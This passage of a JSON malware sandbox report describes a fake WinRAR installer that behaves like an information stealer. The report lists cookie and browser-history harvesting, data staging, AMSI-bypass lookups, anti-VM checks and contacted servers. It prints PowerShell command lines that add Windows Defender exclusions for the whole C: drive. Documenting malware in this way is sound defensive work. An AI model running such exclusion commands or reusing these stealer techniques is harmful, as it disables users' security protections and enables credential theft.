Traffic","mitre_attack_id":"T1132","relevance":1,"id":"network-60","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Cryptographic Related","name":"Sample file has high entropy (likely encrypted/compressed content)","description":"Sample file \"sample.bin\" has high entropy 7.93553","origin":"Binary File","mitre_attack_id":"T1027","relevance":1,"id":"binary-71","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: HTTP requests contain Base64 strings\n Matched sigs: Contains XOR operation loops [Stream disassembly]\n Matched sigs: YARA signature match - AES encryption","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"$2b","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to use encryption for command and control traffic","description":"The analysis shows use of encryption\n use of http/https that can be used to send encrypted data on command and control server. Matched sigs: Contains XOR operation loops [Stream disassembly]\n Matched sigs: YARA signature match - AES encryption","origin":"Indicator Combinations","mitre_attack_id":"T1573.001","relevance":1,"id":"summary-31","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Cryptographic Related","name":"XOR operations in executable file detected","description":"$2c","origin":"Binary File","mitre_attack_id":"T1027.005","id":"binary-92","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Environment Awareness","name":"Able to enumerate disk drives (API string)","description":"Found reference to API \"GetDriveTypeA\" (Indicator: \"GetDriveTypeA\"; Source: \"00000000-00004284.00000000.102677.467CD000.00000002.mdmp\")\n Found reference to API \"GetLogicalDriveStringsA\" (Indicator: \"GetLogicalDriveStringsA\"; Source: \"00000000-00004284.00000000.102677.467CD000.00000002.mdmp\")\n Found reference to API \"GetDriveTypeW\" (Indicator: \"GetDriveTypeW\"; Source: \"00000000-00004284.00000000.102677.467CD000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1680","relevance":5,"id":"string-998","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Environment Awareness","name":"Able to enumerate system processes using native API","description":"Found reference to API \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00007200-00000C2C-543478614\")\n Found reference to API \"NtQuerySystemInformationW\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00007200-00000C2C-544305547\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-907","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using API string","description":"Found string \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00007200-00000C2C-543478614\")\n Found string \"NtQuerySystemInformationW\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00007200-00000C2C-544305547\")","origin":"File/Memory","mitre_attack_id":"T1497.001","relevance":1,"id":"string-659","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using web history","description":"Found string \"%APPDATA%\\Mozilla\\Firefox\\Profiles\\ywzu7870.default\\places.sqlite\" (Source: \"00000000-00006508-00000C3C-7287784195\")\n Found string \"%APPDATA%\\Mozilla\\Firefox\\Profiles\\ywzu7870.default\\places.sqlite-wal\" (Source: \"00000000-00006508-00000C3C-7464261457\")\n Found string \"%APPDATA%\\Mozilla\\Firefox\\Profiles\\ywzu7870.default\\places.sqlite-shm\" (Source: \"00000000-00006508-00000C3C-7465992409\")\n Found string \"%LOCALAPPDATA%\\Microsoft\\Edge\\User Data\\Default\\History\" (Source: \"00000000-00006508-00000C3C-8937840202\")\n Found string \"\\formhistory.sqlite\" (Source: \"00000000-00004284.00000000.102677.467CD000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.002","relevance":1,"id":"string-662","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment using user register activity","description":"Found string \"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\" (Indicator: \"software\\microsoft\\windows\\currentversion\\uninstall\"; Source: \"00000000-00004284.00000000.102677.467CD000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.002","relevance":1,"id":"string-663","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Environment Awareness","name":"Able to perform scheduled transfer (API string)","description":"Found reference to API \"GetSystemTime\" (Indicator: \"GetSystemTime\"; File: \"winrarx64-setup.exe\")\n Found reference to API \"GetLocalTime\" (Indicator: \"GetLocalTime\"; File: \"winrarx64-setup.exe\")\n Found reference to API \"GetSystemTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00004284.00000000.102677.467CD000.00000002.mdmp\")\n Found reference to API \"GetLocalTime\" (Indicator: \"GetLocalTime\"; Source: \"00000000-00004284.00000000.102677.467CD000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1029","relevance":1,"id":"string-365","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve browser cookies data","description":"file/memory contains long string with (Indicator: \"moz_cookies\"; File: \"8A0E88135E734B7BAF3207F0B166A40A_ff_cookies.db\")\n file/memory contains long string with (Indicator: \"/cookies\"; File: \"8250790ABB6552085A14E9AACD5F9C89_Edge.zip\")\n file/memory contains long string with (Indicator: \"/cookies\"; File: \"8250790ABB6552085A14E9AACD5F9C89_Chrome.zip\")\n file/memory contains long string with (Indicator: \"/cookies\"; File: \"PCAP\")\n Found string \"%APPDATA%\\Mozilla\\Firefox\\Profiles\\ywzu7870.default\\cookies.sqlite\" (Indicator: \"cookies.sqlite\"; Source: \"00000000-00006508-00000C3C-7098452073\")","origin":"File/Memory","mitre_attack_id":"T1539","relevance":1,"id":"string-5058","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve geographical location information","description":"Found reference to API \"getaddrinfo\" (Indicator: \"getaddrinfo\"; Source: \"00000000-00004284.00000000.102677.467CD000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-739","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve machine time (API string)","description":"Found reference to API \"GetSystemTime\" (Indicator: \"GetSystemTime\"; File: \"winrarx64-setup.exe\")\n Found reference to API \"GetLocalTime\" (Indicator: \"GetLocalTime\"; File: \"winrarx64-setup.exe\")\n Found reference to API \"GetSystemTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00004284.00000000.102677.467CD000.00000002.mdmp\")\n Found reference to API \"GetLocalTime\" (Indicator: \"GetLocalTime\"; Source: \"00000000-00004284.00000000.102677.467CD000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-247","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques","description":"\"winrarx64-setup.exe\" called \"GetTickCount\" with parameters (UID: 00000000-00007012)\n \"powershell.exe\" called \"GetTickCount\" with parameters (UID: 00000000-00007200)","origin":"API Call","mitre_attack_id":"T1497","relevance":3,"id":"api-296","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs to gather system and hardware detail","description":"\"winrarx64-setup.exe\" called \"GetSystemMetrics\" with parameters (UID: 00000000-00007012)\n \"powershell.exe\" called \"GetSystemInfo\" with parameters (UID: 00000000-00007200)\n \"powershell.exe\" called \"QueryPerformanceCounter\" (UID: 00000000-00007200)\n \"powershell.exe\" called \"GlobalMemoryStatusEx\" with parameters (UID: 00000000-00007200)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-294","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality","description":"\"winrarx64-setup.exe\" called \"NtQueryInformationToken\" with parameters (UID: 00000000-00007012)","origin":"API Call","mitre_attack_id":"T1003","relevance":3,"id":"api-297","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API possibly used to retrieve a handle to the foreground window","description":"\"winrar-x64-710.exe\" called \"GetForegroundWindow\" (UID: 00000000-00007996)\n \"MicrosoftEdgeSecurity.exe\" called \"GetForegroundWindow\" (UID: 00000000-00006508)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-142","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to determine if process is running under WOW64","description":"\"powershell.exe\" called \"IsWow64Process\" with parameter \"7200\" - (UID: 00000000-00007200)\n \"powershell.exe\" called \"IsWow64Process\" with parameter \"4404\" - (UID: 00000000-00004404)\n \"powershell.exe\" called \"IsWow64Process\" with parameter \"4972\" - (UID: 00000000-00004972)","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-146","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to enumerate active windows","description":"\"powershell.exe\" called \"EnumWindows\" with parameter \"0\" - (UID: 00000000-00007200)\n \"powershell.exe\" called \"EnumWindows\" with parameter \"0\" - (UID: 00000000-00004404)\n \"powershell.exe\" called \"EnumWindows\" with parameter \"0\" - (UID: 00000000-00004972)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-152","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get active windows title","description":"$2d","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-151","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\"winrarx64-setup.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00007012)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"$2e","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve OS information","description":"$2f","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-222","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve account information for specified SID","description":"\"powershell.exe\" called \"LookupAccountSidW\" with param Name NETWORK SERVICE (UID: 00000000-00007200)\n \"powershell.exe\" called \"LookupAccountSidW\" with param Name SYSTEM (UID: 00000000-00007200)\n \"powershell.exe\" called \"LookupAccountSidW\" with param Name NETWORK SERVICE (UID: 00000000-00004404)\n \"powershell.exe\" called \"LookupAccountSidW\" with param Name SYSTEM (UID: 00000000-00004404)","origin":"API Call","mitre_attack_id":"T1033","relevance":3,"id":"api-148","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve default language settings","description":"\"winrar-x64-710.exe\" called \"GetSystemDefaultLangID\" (UID: 00000000-00007996)\n \"uninstall.exe\" called \"GetSystemDefaultLangID\" (UID: 00000000-00007752)","origin":"API Call","mitre_attack_id":"T1614.001","relevance":3,"id":"api-149","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve local language","description":"\"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"9\" - (UID: 00000000-00007200)\n \"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"1033\" - (UID: 00000000-00007200)\n \"winrar-x64-710.exe\" called \"GetLocaleInfoW\" with parameter \"1033\" - (UID: 00000000-00007996)\n \"winrar-x64-710.exe\" called \"GetLocaleInfoW\" with parameter \"1024\" - (UID: 00000000-00007996)\n \"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"9\" - (UID: 00000000-00004404)\n \"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"1033\" - (UID: 00000000-00004404)\n \"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"9\" - (UID: 00000000-00004972)\n \"powershell.exe\" called \"GetLocaleInfoW\" (UID: 00000000-00004972)","origin":"API Call","mitre_attack_id":"T1614","relevance":3,"id":"api-147","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to detect virtual environment (API)","description":"GetTickCount@KERNEL32.DLL at 00000000-00004404-60327-217-012F9F43","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1497","relevance":3,"id":"stream-87","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to enumerate files inside a directory","description":"FindFirstFileW@KERNEL32.DLL at 00000000-00004404-60327-194-012FC4B6","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1083","relevance":3,"id":"stream-89","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query local/system time as file time","description":"GetSystemTimeAsFileTime@KERNEL32.DLL at 00000000-00004404-60327-217-012F9F43","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1070.006","relevance":1,"id":"stream-71","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query machine time","description":"GetSystemTimeAsFileTime@KERNEL32.DLL at 00000000-00004404-60327-217-012F9F43","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1124","relevance":1,"id":"stream-2","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query the machine version","description":"GetVersionExW@KERNEL32.DLL at 00000000-00004404-60327-141-012FD610","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1082","relevance":1,"id":"stream-3","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query the system locale","description":"GetLocaleInfoW@KERNEL32.DLL at 00000000-00004404-60327-151-012FD501","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1614","relevance":1,"id":"stream-49","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"$30","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve machine timezone (API string)","description":"Found reference to API \"GetTimeZoneInformation\" (Indicator: \"GetTimeZoneInformation\"; Source: \"00000000-00004284.00000000.102677.467CD000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-248","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve operating system version","description":"Observed string: \"VER\" (Indicator: \"ver\") in Source: 00000000-00004000.00000000.109166.B42B0000.00000004.mdmp","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-327","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve system language","description":"GetUserDefaultUILanguage@KERNEL32.DLL at 00000000-00004404-60327-135-012FDAD1","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1614.001","relevance":3,"id":"stream-79","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve volume information (API string)","description":"Found reference to API \"GetVolumeInformationA\" (Indicator: \"GetVolumeInformation\"; Source: \"00000000-00004284.00000000.102677.467CD000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-162","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Environment Awareness","name":"Possible DLL sideloading","description":"Possible dll side loading: %TEMP%\\NSO98E5.TMP\\INETC.DLL\n %TEMP%\\NSO98E5.TMP\\NSEXEC.DLL","origin":"Indicator Combinations","mitre_attack_id":"T1574.001","relevance":5,"id":"summary-47","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information","description":"$31","origin":"API Call","mitre_attack_id":"T1082","relevance":8,"id":"api-39","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\"winrarx64-setup.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"winrar-x64-710.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"uninstall.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"test.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"MicrosoftEdgeSecurity.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"MicrosoftEdgeSecurity.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the registry for installed applications","description":"$32","origin":"Registry Access","mitre_attack_id":"T1518","relevance":10,"id":"registry-55","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"External Systems","name":"Detected Suricata Alert","description":"Detected alert \"ET INFO Packed Executable Download\" (SID: 2014819, Rev: 5, Severity: 3) categorized as \"Misc activity\"","origin":"Suricata Alerts","relevance":10,"id":"suricata-0","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"General","name":"Able to aggregate collected data, possibly for exfiltration","description":"\"8250790ABB6552085A14E9AACD5F9C89_Edge.zip\" copied on \"%TEMP%\\8250790ABB6552085A14E9AACD5F9C89_Edge.zip\"\n \"8250790ABB6552085A14E9AACD5F9C89_Chrome.zip\" copied on \"%TEMP%\\8250790ABB6552085A14E9AACD5F9C89_Chrome.zip\"\n \"8250790ABB6552085A14E9AACD5F9C89_InstalledSoftware.zip\" copied on \"%TEMP%\\8250790ABB6552085A14E9AACD5F9C89_InstalledSoftware.zip\"","origin":"Binary File","mitre_attack_id":"T1074","relevance":1,"id":"binary-87","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"General","name":"Able to retrieve command line parameters of the running process","description":"file/memory contains long string(File: \"RarExt32.dll\")\n file/memory contains long string(File: \"nsExec.dll\")\n file/memory contains long string(File: \"Zip32.SFX\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-930","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"General","name":"Accesses System Certificates Settings","description":"\"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\27748148BBE67A43CDBFEC6C3784862CE134E6EA\"; Key: \"BLOB\")","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-17","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"General","name":"Calls GetProcAddress on AmsiScanBuffer function (may used to bypass AMSI)","description":"\"powershell.exe\" called \"GetProcAddress\" with a parameter \"AmsiScanBuffer\" (UID: 00000000-00007200)\n \"powershell.exe\" called \"GetProcAddress\" with a parameter \"AmsiScanBuffer\" (UID: 00000000-00004404)","origin":"API Call","mitre_attack_id":"T1562.001","relevance":1,"id":"api-179","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"General","name":"Calls an API typically used to copy file from one location to another","description":"$33","origin":"API Call","mitre_attack_id":"T1005","relevance":3,"id":"api-123","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a directory","description":"$34","origin":"API Call","mitre_attack_id":"T1074.001","relevance":3,"id":"api-122","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a process","description":"$35","origin":"API Call","mitre_attack_id":"T1106","relevance":5,"id":"api-128","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create an instance of a named pipe","description":"\"winrarx64-setup.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\" - (UID: 00000000-00007012)\n \"powershell.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\\PSHost.134347282203519697.7200.DefaultAppDomain.powershell\" - (UID: 00000000-00007200)\n \"powershell.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\\PSHost.134347297200032362.4404.DefaultAppDomain.powershell\" - (UID: 00000000-00004404)","origin":"API Call","mitre_attack_id":"T1570","relevance":3,"id":"api-138","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"General","name":"Calls an API typically used to load libraries","description":"$36","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-175","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"General","name":"Calls an API typically used to retrieve function addresses","description":"details too long to display","origin":"API Call","mitre_attack_id":"T1106","relevance":1,"id":"api-176","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"simplswop.io\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"45.225.135.164:8081\"\n \"172.67.133.231:443\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"General","name":"Contains ability to delay the execution of current thread","description":"WaitForSingleObjectEx@KERNEL32.DLL at 00000000-00004404-60327-133-012F995D\n Sleep@KERNEL32.DLL at 00000000-00004404-60327-179-012F9700","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1497.003","relevance":3,"id":"stream-103","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"General","name":"Contains ability to dynamically load libraries","description":"LoadLibraryExW@KERNEL32.DLL at 00000000-00004404-60327-119-012FE110\n LoadLibraryExW@KERNEL32.DLL at 00000000-00004404-60327-135-012FDAD1\n LoadLibraryExW@KERNEL32.DLL at 00000000-00004404-60327-140-012FD8B1","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1106","relevance":3,"id":"stream-108","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"General","name":"Contains ability to executes commands or batch file","description":"$37","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-174","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"$38","origin":"Created Mutant","mitre_attack_id":"T1480.002","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"General","name":"Drops files marked as clean","description":"$39","origin":"Binary File","relevance":10,"id":"binary-16","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"General","name":"Executes PowerShell with command line","description":"Process \"powershell.exe\" with commandline \"-NoProfile -ExecutionPolicy Bypass -Command \"Add-MpPreference -ExclusionPath 'C:'\"\" (UID: 00000000-00007200)\n Process \"powershell.exe\" with commandline \"-NoProfile -ExecutionPolicy Bypass -Command \"Add-MpPreference -ExclusionPath '%WINDIR%\\\\EdgeUpdate\\\\'\"\" (UID: 00000000-00004404)\n Process \"powershell.exe\" with commandline \"-NoProfile -ExecutionPolicy Bypass -Command \"Add-MpPreference -ExclusionPath '%WINDIR%\\\\EdgeUpdate\\\\\\\\test.exe'\"\" (UID: 00000000-00004972)","origin":"Monitored Target","mitre_attack_id":"T1059.001","relevance":1,"id":"target-486","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"General","name":"Fails to load modules at runtime","description":"$3a","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-22","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"General","name":"File contains dynamic base/NX flags","description":"$3b","origin":"Static Parser","id":"static-154","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"General","name":"Found E-Mail address in binary/memory","description":"Pattern match: \"premium-server@thawte.com\"","origin":"File/Memory","mitre_attack_id":"T1114","relevance":3,"id":"string-63","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"General","name":"Found User Agent related strings","description":"file/memory contains long string with (Indicator: \"mozilla/5.0 (\"; File: \"browser_meta.json\")\n Found string \"Mozilla/5.0 (%s; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/%s Safari/537.36 Edg/%s\" (Indicator: \"mozilla/5.0 (\"; Source: \"00000000-00004284.00000000.102677.467CD000.00000002.mdmp\")\n Found string \"Mozilla/5.0 (%s; Win64; x64) AppleWebKit/537.36 